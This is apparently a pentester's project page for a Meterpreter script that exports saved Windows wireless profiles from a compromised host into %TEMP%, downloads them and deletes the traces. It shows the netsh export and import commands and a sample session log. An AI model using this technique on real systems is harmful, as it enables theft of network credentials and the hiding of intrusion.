Metasploit getwlanprofiles

• Home
• Projects
• Metasploit
• Get WLAN Profiles

This is a simple Meterpreter script which when ran against Windows 7 or Vista boxes will extract and download all the wireless profiles that are setup with the Windows client, i.e. not with third party client apps.

It does this by using the following command to dump all the profiles to the current %TEMP% directory

netsh wlan export profile folder=%TEMP%

Then for each line of the output finding the filename of the profile and downloading it. To tidy up the file is then deleted from the directory.

The profiles are stored in the .msf3/logs/scripts/wlan_profiles/ directory.

To re-use the profiles they can be imported into another Windows box by using the following command

netsh wlan add profile filename="the_filename.xml"

Something I found while testing this is that if you have an external wifi card and setup the profiles then remove the card the profiles are no longer available to the netsh script. As soon as the card is reinserted the profiles return. I'm sure there will still be a way to access them but this script doesn't do it.

Usage

Simply uncompress the script and move it to the meterpreter/scripts directory. Also probably best remove the version number from the filename while doing so.

When you run it it should look like this:

meterpreter > run getwlanprofiles 
[*] Running Windows Wlan Profile Downloader Meterpreter Script
[*] New session on 192.168.0.80:53831...
[*] Running export command - netsh wlan export profile folder=C:\Users\robin\AppData\Local\Temp
[*] Downloading profile wpa_profile to /home/robin/.msf3/logs/scripts/wlan_profiles/VISTA-DOMAIN_20110110.5030/wpa_profile.xml
[*]     Deleting file C:\Users\robin\AppData\Local\Temp\Wireless Network Connection 2-wpa.xml
[*] Downloading profile thisiswep to /home/robin/.msf3/logs/scripts/wlan_profiles/VISTA-DOMAIN_20110110.5030/thisiswep.xml
[*]     Deleting file C:\Users\robin\AppData\Local\Temp\Wireless Network Connection 2-thisiswep.xml
[*] Downloading profile eap to /home/robin/.msf3/logs/scripts/wlan_profiles/VISTA-DOMAIN_20110110.5030/eap.xml
[*]     Deleting file C:\Users\robin\AppData\Local\Temp\Wireless Network Connection 2-this is it.xml
[*] Found and extracted 3 profiles
[*] Done!

Download

Download getwlanprofiles.

Thanks

This script is very hevily based on the great Meterpreter scripts by Carlos Perez.

The idea for the script came to me while reading Hacking Exposed Wireless, Second Edition. I'd highly recommend this book to anyone, even if you aren't into wifi as it covers a whole lot more than simply cracking WEP and running sniffers like other books do.